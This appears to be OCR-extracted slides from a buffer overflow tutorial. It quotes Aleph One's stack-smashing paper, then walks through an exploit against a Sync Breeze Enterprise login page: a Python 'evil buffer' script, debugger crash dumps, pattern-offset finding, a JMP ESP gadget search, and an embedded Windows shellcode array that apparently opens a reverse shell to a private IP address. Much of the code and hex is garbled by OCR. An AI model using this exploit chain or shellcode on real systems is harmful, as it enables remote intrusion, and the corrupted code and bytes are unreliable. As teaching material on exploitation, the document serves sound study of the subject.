Answer RRs: 4
Authority RRs: 9
Additicnal RRs: 9
“ Queries
cdn-8.nflximg.com: type A, class IN
Answers
Autheoritative nameservers w
@B 15 @B 35 84 T4 @1 c7 83 3f PBE: 81 80 88 81 S 2L ~
B8 B4 @0 @9 B8 @9 85 63 64 Ge 2d 3@ 87 Be 66 BC ....... c dn-8.nfl
78 69 6d 67 83 63 6T 6d 8@ 88 81 8@ 8l <o Bc ee ximg.com ........
@5 B8 @1 @@ 8@ @5 29 @@ 22 86 69 6d Bl 67 65 73 ...... ). ".images
@7 6e B5 74 66 6c 69 78 83 63 6f 6d 89 65 64 67 .netflix .com.edg
e 65 73 75 69 74 65 @3 Ge 65 74 €@ ce 2f ee @5 ee esuite.n et../... w

¥ Identification of transaction (dns.id), 2 bytes

|| Packets: 10293 - Displayed: 10229 (100.0%) * Load time: 0:0.182 || Profile: Default
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Smashing The Stack For Fun And Profit
KOXGOOGOOCOOOGOOCOOOCOCGOCOOOOOOGOONKK

by Aleph One
alephlgunderground.org

“smash the stack™ [C programming] n. On many C implementations

it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle

the stack; the term mung the stack is not used, as this is

never done intentionally. See spam; see also alias bug,

fandango on core, memory leak, precedence lossage, overrun screw.

Introduction

aver the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.

Basic knowledge of assembly is required. An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays. Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at load
time on the data segment. Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.

..: Phrack Magazine ::.
@ https://phrack.org > issues 3§
Smashing The Stack For Fun And Profit

Nov 8, 1996 — This paper attempts to explain what buffer overflows are, and how their exploits work.
Basic knowledge of assembly is required.
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6 YO GGZ'RDE NN 1 @10 U' OB RF2aNde LILIG Z C #include <stdio.h>
DZI Go rUNdd @ G& DND NI 2 Dz #include <string.h>

int main(int argc, char *argv[])
u'e Y&a 1W0ige Dai o CAINRAR @O ¥ e NI QXbeNDT |
o U 1'l W @Rl L8 O Y e NFOAENAE NIZRG G |
DZ Uefziioo Ol V@D @ 1O LIZGENND ¢)6' G 2 'Of GPecodR if (arge < 2)
DZ NEFGI i NBEQ D NOU 20U Yir UeDlar OZR®éE |
OF O2i Nu%mm Y F'[NZ:)WUF'W@ Yo o éuzegm- C printf("Error - You must supply at least one argument\n");
RUNZ®OPF ODYzmUINE (' Nir@®iU Yae OFG G G'F
Ge'MRANXZ¥eGEGe 00 DY Y OV e'®iY'TeMZE 0'G
e OOF IDZAVEFw o UG 5200 RIFY'E NEF O GArdN
u'®ez o OING a'02 V'@ RIGFTAND BROINE (RE'Dg QU  strepylbuffer, argv[i]);
eRZ I FOIF @deNINE @LINE (' NEEHG 2 6ee033 NOTNZ
e OFerLILIGZO2RIZ 2 o }

char buffer[64];

return 1;

return @;

t Hmt sm3s3h
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Before StrCpy

Copy with 32 A's

Copy with 80 A's

StrCpy destination address

StrCpy destination address

StrCpy destination address

StrCpy source address

StrCpy source address

StrCpy source address

Reserved char buffer memory

Reserved char buffer memory

Reserved char buffer memory

Reserved char buffer memory

Return address of main

Main parameter 1

Main parameter 2

AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
Reserved char buffer memory AAAAAAAAAAAAAAAA
Reserved char buffer memory AAAAAAAAAAAAAAAA
Return address of main AAAA
Main parameter 1 AAAA
Main parameter 2 AAAA

33
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UZeo

StrCpy destination address

StrCpy source address

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAN

AAAR

AAAA

AAAA
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unsigned char shellcode[] =

"\xfc\x48\x83\xe&\xfO\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xco\x48\x8b\x72\x50\x48\x0f"
"\xb7\x&a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x&1"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50\x8b\x48\x18\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9"
"\x48\x01\xd6\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe@\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x&1\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x&1\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x&b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xeb6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x23\x29\x0a\x00\x03\x04\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xcO\x48\xff\xcO\x48\x89\xc2\x48\xff\xcO\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe@\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc@\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xas\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xfO\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xdg9"
"\xc8\x5F\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"

¢
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% <. nc Breeze Client d *
F Ti - Register -
Connect Delete Layouts  Options Help
s =l 1 - M Ll ke
= Sync Breeze Enterprise Options x
General Server User Name: |admin |
Advanced Server Password: LT |
EL Server i -
. Server Control Port: |9121 =
E-Mail =
Enable Web Server on Port: |BD =
W Rules
= ] Enable Parallel Batch Tasks: 1 =
—
Exclude
(] Enable Mative Authentication: Client-Side User Authentication -
iTi Shaorteuts =
Dat
@ 31/ [ save Canicel
@ 3/
@ 31/)an/2025  04d1:22 admin@client - Connected = Completed 0
[ Failed 0
= Tasks 0

&) Connected To: admin@localhost

t Hmt sm3s3h

1. #usr/bin/python
2. import socket
3. import sys
4.
5. try :
6. server = "192.168.194.10"
7. port = 80
8. size = 1600
9. inputBuffer = b"A" * size
10. content = b"username=" + inputBuffer  + b"&password=A"
11.
12. buffer = b"POST /login HTTP/1.1 \r\n"
13. buffer += b"Host:" + server .encode() + b"\r\n"
14. buffer += b"User - Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101
Firefox/52.0 \r\n"
15. buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \r\n"
16. buffer += b"Accept - Language: en - US,en;q=0.5 \r\n"
17. buffer += b"Referer: http://10.11.0.22/login \r\n"
18. buffer += b"Connection: close  \r\n"
19. buffer += b"Content - Type: application/x - wwwform - urlencoded \r\ n"
20. buffer += b"Content -Length:" + str (len (content )). encode() + b"\r\n"
21. buffer += b"\r\n"
22. buffer += content
23.
24, print ("Sending evil buffer..."
25. s = socket . socket (socket . AF_INET, socket . SOCK_STREAM
26. s. connect (( server , port ))
27. s. send( buffer )
28. s. close ()
29.
30. print ("Done!" )
31.
32. except socket . error :
33. print ("Could not connect!" )
34.
3 8
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g] WinDbg:10.0.18362.1 X86

File Edit Wiew Debug Window Help

|ﬁ|d"—‘l—ll -;:nl_-m.i'rjill 'l..-'u ™ Jl@l@@

Sending evil buffer...

Did Attach to Process >
_O -6672 =wvchost  exe '
Re -6516 TmiApSrv. exe % I
2692 ApplicationFrameHo=st  ezxe [I I | | I i—l
4 L = [

-7000 WinStore. App.exe
-7176 BEuntimeBroker . exe

- 7248 wuapihost exe

- 7280 Sy=temnSettings . exe
-6168 csr==.exe

-1932 winlogon . exe

6428 LogonlUl. exe

-7140 dwm . exe

- 4772 fontdrvhost exe

- 7372 rdpclip.exe

-6348 =vchost . exe

#- 6544 CompatTelRunner . exe
7564 =vncbrs. exe
6456 =yvncbrc.exe
-B048 =martscreen. exe

- 4972 SnippingTool  exe

-5572 backgroundTaskHo=t . exe

wy
=]

i
(®) System order OBy ID

Process ID:
17564

] Moninvasive

Cancel Help
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Ht Ht Ht Ht

3 pid 5096 - WinDbg:10.0.18362.1 X86 - X
File Edit View Debug Window Help
| &= | B =BG O EHEPEEREGEOBE] (=55 A

Memory n

Virtual: |esp Display format: | Long Hex ~ | || Previous MNeat

Oﬁsaﬂ@SSCDpeip

Ho prior disassembl cssible 0144745 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414147 41414141 41414141 4141414 &
M 01d4748c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414142 7 777 01d474bc 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414143 77 7?7 01d474ec 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414144 77 7?7 01d4751c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414145 7 777 01d4754c 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414146 2?7 777 01d4757c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414147 2?7 7?7 01d475ac 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414148 ?7 Y 01d475dc 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414149 77 7?7 01d4760c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414145 7?7 7?7 01d4763c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
4141414L 7?7 777 01d4766c 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414
4141414 7?7 7?7 0144769 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414144 77 7?7 01d476cc 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
4141414 ?7 7?7 01d476fc 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
4141414 27 77 01d4772c 41414141 41414141 41414141 41414141 41414143 41414141 41414141 41414141 41414141 41414141 41414141 4141414
41414150 ?7 777 41414141 41414141 41414141 41414141 41414141 414314141 41414141 41414141 41414141 41414141 41414141 0000000
41414151 77 7?7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 OOO0OO0Q
41414152 7 7?7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000Q0OO 00000000 00000000 OO000OO0Q
i%i%i%gi 33 333 [0000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000 ™
0:010: g

(1328 .£0): Access violation — code 0000005 {first chance)

First chance exceptions are reported before any exception handling.

Thi= exception may be expected and handled.

=ax=00000001 sbz=00000000 =cx=006%9a763 ed=z=0000034f ==si=00692896 =di=00=13570

2ip=41414141 e=p=01d4745c ebp=0068cf48 iopl=0 nv up i pl nz na po nc
ce=001b ===0023 d==0023 e=s=0023 {==003b g==0000 ef1=00010202
41414141 77 T

|

|D:DDl>|

Savant Web Server Ln0, Col® SysO:<lLocal> Proc000:13e8 Thrd 001:f0 ASM OVR CAPS NUM
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StrCpy destination address

StrCpy destination address

StrCpy source address

StrCpy source address

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

Reserved char buffer memory

AAAAAAAAAAAAAAAA

Reserved char buffer memory

AAAAAAAAAAAAAAAA

Return address of main

AAAA

Main parameter 1

AAAA

Main parameter 2

:

H3



DX ZOY" +71

t Amt sm3s3h

de Bruljn sequence

Ma 11 languages

Article Talk

From Wikipedia, the free encyclopedia

Not to be confused with the Moser—de Bruin sequence, an integer sequence from number theory.

In combinatorial mathematics, a de Bruijn sequence of order n on a size-k alphabet A is a cyclic sequence in which every
possible length-n string on A occurs exactly once as a subsiring (i.e., as a configuous subsequence). Such a sequence is

denoted by B(k, n) and has length k", which is also the number of distinct strings of length n on A. Each of these distinct strings,

when taken as a substring of B(k, ), must start at a different position, because substrings starting at the same position are not
distinct. Therefore, B(k, n) must have af least k7 symbols. And since B(k, n) has exactly k” symbols, de Bruijn sequences are
optimally short with respect to the property of containing every string of length n at least once.

The number of distinct de Bruijn sequences B(k, n) is
n—1
(k1"
ko

For a binary alphabet this is 92" !
(OEIS: A016031)

" leading to the following sequence for positive n: 1, 1, 2, 16, 2048, 67108864. ..

The sequences are named after the Dutch mathematician Nicolaas Govert de Bruijn, who wrote about them in 1946 11 As he
later wrote,[z] the existence of de Bruijn sequences for each order together with the above properties were first proved, for the
case of alphabets with two elements, by Camille Flye Sainte-Marie (13894). The generalization to larger alphabets is due to
Tatyana van Aardenne-Ehrenfest and de Bruijn (1951). Automata for recognizing these sequences are denoted as de Bruijn
automata.

In many applications, A ={0,1}.

Read Edit View history Tools w

Alphabet: {0, 1}
Subsegquence length: 2

Subsequences:

0,0} {1, 0}
—{, 1}_‘ I—{l 1}

De Bruijn seq ue nce:

{0,0,1, }
v
The de Bruijn sequence for =

alphabet size k = 2 and substring
length n = 2. In general there are many
sequences for a particular n and & but
in this example it is unique, up to
cycling.



sf-pa rn_create -1 1600
-aﬂAa1AaEAaHAa4Aa5AaEAa?AaEAaHAhﬂAhlﬂhzﬂhHAhﬁﬂhEAhEAh?AhEAhﬂAcﬂAc1AcEAcHAcﬁﬂcﬁﬂcEAc?AcEAcQAdﬂAd1Ad2Ad3AdﬁAd5AdﬁAd?AdE
Ad0AeDAelAe2Ae3AebiAeSAebAeTAcBAcOATOATIAT2ATIAT4ATSATOATTATBATOAZDAE1AE2AE3AELAE5AE0AETAEBAE9ANDARIAR2AR3ARLARSARGANT
Ah8Ah9A10A11A12A13A14A15A16A1TA1BA19AI0A]1AJ2AI3A]4A]S5AI6A]TAIBATOAKDAKIAK2AKIAKLAKSAKGBAKTAKBAKOATOATIALZAT3ALLALSALG
AL7ALBAL9AMOAMIAMZ Am3Am4AMSAMEAMT AmEAMIANDANIANZAN3ANSANSANGAN7ANBANOADDADIAD2AD3A04A05A06A0TA0BA09APDAPI1AP2ZAP3APLApPS
ApBAp7ApBAPYAQDAQL1AQ2AQ3AQL4AGSAQBAQTAQBAQOATrRATr 1A 2Ar AT 4ATSATBArTATrBAr9ASOAS1AS2AS3ASL4ASEASOASTASBASOATDATIAT2ATIALS
ATSATBATTATBATIAURAUIAUZAU3AUSAUSAUBALUTAUBAUIAVRAVIAVZAVIAVLAVIAVEAVTAVBAVIAWDAWIAWZ AW3AWLEAWS AWEAWTAWBAWIAXDAX1AX2AX3
Ax4AXSAXOAXTAXBAXIAYDAY1AY2AY3AYLAYSAYOAYTAYBAYOAZOAZ1AZ2AZ3AZ4AZ5AZ6AZTAZBAZOBa0BalBa2Ba3BasBabBabBa7Ba8Ba9Bb@Bb1Bb2
Bb3Bb4Bb5Bb6Bb7Bb8Bb9BCc@BCc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be@Be1Be2Be3Be4Be5Be6Be7Be8Be9BfOBT1
Bf2Bf3Bf4Bf5Bf6Bf7BfE8BfOBg0Bg1Bg2Bg3Bg4Bg5Be6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7BhEBh9B10B11B12B13B14B15B16B17B18B19B )0
BJ1Bj2B]j3Bj4B]5B]6B]78]8B]9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7BKE8BKI9BLOBL1B12B13B14B15B16B17B18B19Bm@Bm1Bm2Bm3Bm4Bm5Bm6Bm7 Bm8Bm9
En@BnlEn2Bn3En4Bn5Bn6En7BEn8ENS9Bo0EBo1Bo2Bo3Bo4Bo5Bo6Eo/BoEE0OBpOEp1Bp2Ep3Bp4EpSEBpEEp7EpEEp9Eq@Bql1Eq2Bq3Bq4Bq5Bq6Bq7Eq8
Bq9BroBriBr2Br3Br4Br5BreBr7Br8Br9eseBs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8B19BuOBul1Bu2ZBu3Bu4BusBubBu?
BuS8Bu9BveBv1Bv2Bv3Bv4Bv5BveBv7BvEBVIBWOBW1EBW2 Bw3Bwi4BwSBWOBW7BwEBWIBX0BX1BX2BXx3Bx4BXx5BXx6BX7BX8BXx9By0By1By2By3By4By5By6
By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0CalCa2Ca3Ca4Cas5CabCa7Ca8Ca9Ch@ChliCh2C
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inputBuf b"AaOAalAa2Aails abAa7AaBAa?Ab0AblAb2Ab3Ab4AL

content 1"username=" + 1nput 1" &password=A"

0010 g

(374 .1£78): Accesz violation — code 0000005 (first chance)

Fir=st chance exceptionz are reported before any exception handling.

Thi= exception may be expected and handled.

eax=00000001 =bx=00000000 ecx=004£f{d429b =edx=0000034f e=i=004£417= edi=00dd3570
eip=42306142 e=p=01b0745c ebp=004cbc50 i1opl=0 nv up =i pl ng na po nc

c==001b s===0023 d==0023 e==0023 f{==003Lk g=s=0000 efl=00010202
42306142 77 Y
E——

-0 42300142

[*] Exact match at nFFset 780

T«

¢
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server
port =
slze =
buf = b
buf +=
buf +=

content

1
H

|:] 11 E] 11 +

b"C

"ok -

L8

h"username="

-+

(buf))

hut +

) "&passwonrc

|
—_
|=A

HN
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& Pid 6684 - WinDbg:10.0.18362.1 X86 — x
File Edit View Debug Window Help
= BEHEEBEE 0 DEEEEEE 0D A=
Offset:|@$scopeip Virtual: |e=sp Display format: | Long Hex ~ | || Previous Mest
No pricr disassembly possible 0lcc?45c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434 A
: 0lcc?48c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424243 77 77 Olcc74bo 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424244 77 77 Olocc?d4ec 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 77 01lcc?51c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 77 0lcc?S4c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424247 77 77 01lcc?S7c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424249 77 77 0lcc?Sac 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424249 77 77 0lcc?5de 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 7 Olcc?60c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424b 77 77 0lcc?63c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424c 77 7 Olocc?66c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424244 77 77 0lcc?69c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424242 77 77 Olocc?oocc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424% 77 77 Olocc?efc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424250 77 77 0lcc?72c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424251 77 77 0lcc?75c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 0000000
42424252 77 77 01cc?78c 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 OOOQOO0000 0000000
42424253 77 7 01cc?7be 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000
42424254 77 77 0lec??ec 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000 ™
42424255 77 s < >
Command n
0:010> g
(lalc.lfd4): Access wiolation — code c0000005 (first chance)
First chance exceptions are reported hefore any exception handling.
This exception may be expected and handle
=ax=00000001 =bx=00000000 ecx=004ceS59% edx 0000034f e=si=004cicle edi=00d493570
eip=42424242 e=p=01cc?45c ebp=004c0850 iopl=0 nv up =i pl nz na po nc
cs=001b ===0023 d==0023 e=s=0023 f{=s=003b g=s=0000 efl=00010202
f2424242 7Y s
|
[o:010s |
Ln0, Col 0 | Sys(:<Local> Proc000:1alc  Thrd 010:1fd4 ASM OVR CAPS MNUM
Hmt sm3s3h H



aeo0ZUN' OVYT¥

Command

\

OXS

lc=740c
llcc=741c
lc=742c
0lc=74 30
llcc=744c
0lz=745c
llccY46c
0lo=74 7o

0:010> g

0:010: dd

ezp—0nid0
41414141
141414141
141414141
41414141
141414141
413434343
43434343
434343473

41414141
41414141
41414141
41414141
41414141
43434343
434545343
43434343

41414141
41414141
41414141
41414141
42424242
43434343
434545435
43434343

41414141
41414141
41414141
41414141
434545435
43434343
45454545
43434343

(lalc.1fd4): Access wiolation — code 0000005 (first chance)
Fir=t chance ezceptions are reported before any exception handling.

Thi= exception may be expected and handled.
eax=00000001 =b=x=00000000 ecx=004ceb9b ed=xz=0000034f e=i=004cicle =di=00d93570
eip=42424242 e=p=01lcc?45c ebp=004=0850 iopl=0

c==001b ===0023 d==0023 e==0023 {f==003L g==0000

l42424242 7

t Hmt sm3s3h

Y

nv up 21 pl KE na po nc
efl=00010202

0:010 dd=s esp-0xZ0 110

0lc=74 30
0lc=7 440
0lc=7444
Jlc=7 448
0lcc=Y44c
0lc=7 450
01lc=7454
0lc=7458
01lc=Y 45
Jlc=7 460
0lc=7 464
Jlc=7 4648
0lcc=Yd6c
017470
0lc=7474
017478

41414141
41414141
41414141
41414141
41414141
41414141 )
42424242 e S u U
434545457
43454345
43454345
43454345
45454545
43454345
43454343
43454345
43454545

FfUeNF' SuU

o + UUF NJ SuU

H8
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t Hmt sm3s3h

Virtual: |e=p

Ulc=?45c
Ul 480
Ulcc? 4bo
Ulcc? dec
UlccY51c

45434543
45434543
45434543
45434543
454343543

454343545
454343545
454343545
454343545
454343545

454343545
4534343545
4534343545
4534343545
453434345

43434543
43434543
43434543
43434543
43434543

43434543
43434543
43434543
43434543
43434543

Virtual: |e=sp

01b=7 45z
Ulb=7 48
Ulb=74bo
Ulb=Ydec
01b=751c

434343543
434354543
453434345
43434343
434343543

434343543
413434543
45343534343
434343543
434343543

434343543
4134354543
454343545
43434543
434343543

43434543
413434543
453434345
43434543
43434543

43434543
413454543
454343545
434343543
43434543

H8



t Hmt sm3s3h

ns f-nasm_shell

nasm > jmp esp

00000000 FFE4 jmp esp
nasm >

0:010: Inmod

00400000 00462000 syncbrs ~SafeS5EH OFF C:~Program Files~Sync Breeze Enterprise~bin“syncbrs. exe
00ad0000 00924000 libpal ~Safe5EH OFF C:~Program File=~Sync Breeze Enterprise~bin~libpal dll
009b0000 00264000 libsync ~SafeSEH OFF C:~Program Files~Sync Breeze Enterprise~bin~libsync.dll
10000000 10223000 libspp <Safe5EH QOFF C:»Programn Files~Sync Bresze Enterpris=e~bin~lib=pp.dll
Sabe0000 Sac?c000 ODBC3Z ~SafeSEH ON -GS *#ASLE *DEP C:~Windows=~S¥STEMIZ2-~0DBC32.d11

6a5d0000 6aSec000 pnrpnsp #Safe5EH OH G5 *#ASTE =*=DEFP C:~WindowsssystemidZpnrpnsp.dll

6b200000 eb217000 MPR ~SafeSEH OH G5 *#ASLE *DEP C:~Windows~SYSTEM32-HMPE .41l

6960000 6c97c000 SEVCLI ~SafeSEH ON G5 *#4A5LFE *DEFP C:~Windows=~SYSTEM32~SEVCLI.DLL

Gcbd 0000 6chbe3000 WINMMBASE #SafeSEH ON G5 *#ASTE *DEP C:-Windows~SYSTEM32-~WINMMBASE . dl1

Goc00000 6cc24000 WIHMM #SafeSEH OH ~G5 *A5LE *DEP C:~Windows=~SYSTEM3IZ2~WIHMHM.dll

0:010x = —b 10000000 10223000 ff =4

10090z83 ff =4 0Ob 09 10 02 Oc 09-10 24 0Oc 09 10 46 O 09 ... ... Slm = b o

0:010> w 10090=83 13

*¥% ARNING: [nable to werifvy checlks=um for C:“Frogram Files~5Sync Breeze Enterprise~bin™~libspp.dll
lib=pp!5SCA FileScout: GetStatusValue+0xzbh3:

1009083 ff=d mp esp
10090=85 0bO9 ar ecx,dword ptr [ecx]
1009087 1002 adc byte ptr [edx].al



t Hmt sm3s3h

F pLIGe ZU

from struct 1import pack

server =
port =
= 1 :"P —

wd LA

buf = b"A" =%

buf += pack(

buf += b"C" * ( -

content = b"username=" +

D "xpasswonrc

|=A

ht
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3 pid 7976 - WinDbg:10.0.18362.1 X86 — *
File Edit View Debug Window Help
=3 IR0 EEEEEEEOEE|E

Disassembly n
Of'fset:|@$scopeip Previous Next Virtual: |e=p Display format: | Long Hex ~ | || Previous Mext
[01be744f 41 inc SCHE 01be?45c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434 &
01be?450 41 ins SCHE 01be748c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?451 41 inc SCHE 01be74bc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?452 41 inc SCHE 0lbe7dec 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7453 41 inc SCHE 01be7?51lc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?454 83020910 or dword ptr [ecz+ecz].llh 01be?54c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?458 43 ins ebx 01be?57c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7459 43 inc eh= 01be?5ac 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45a 43 inc ebx 01be?5dc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7455 4 b 01be?60c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
l1lbe 01be?6ldc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be745d 43 shx 01lbe?6bc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45e 43 1 ebx 01be769c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45f 43 ebx 0lbe?bcc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
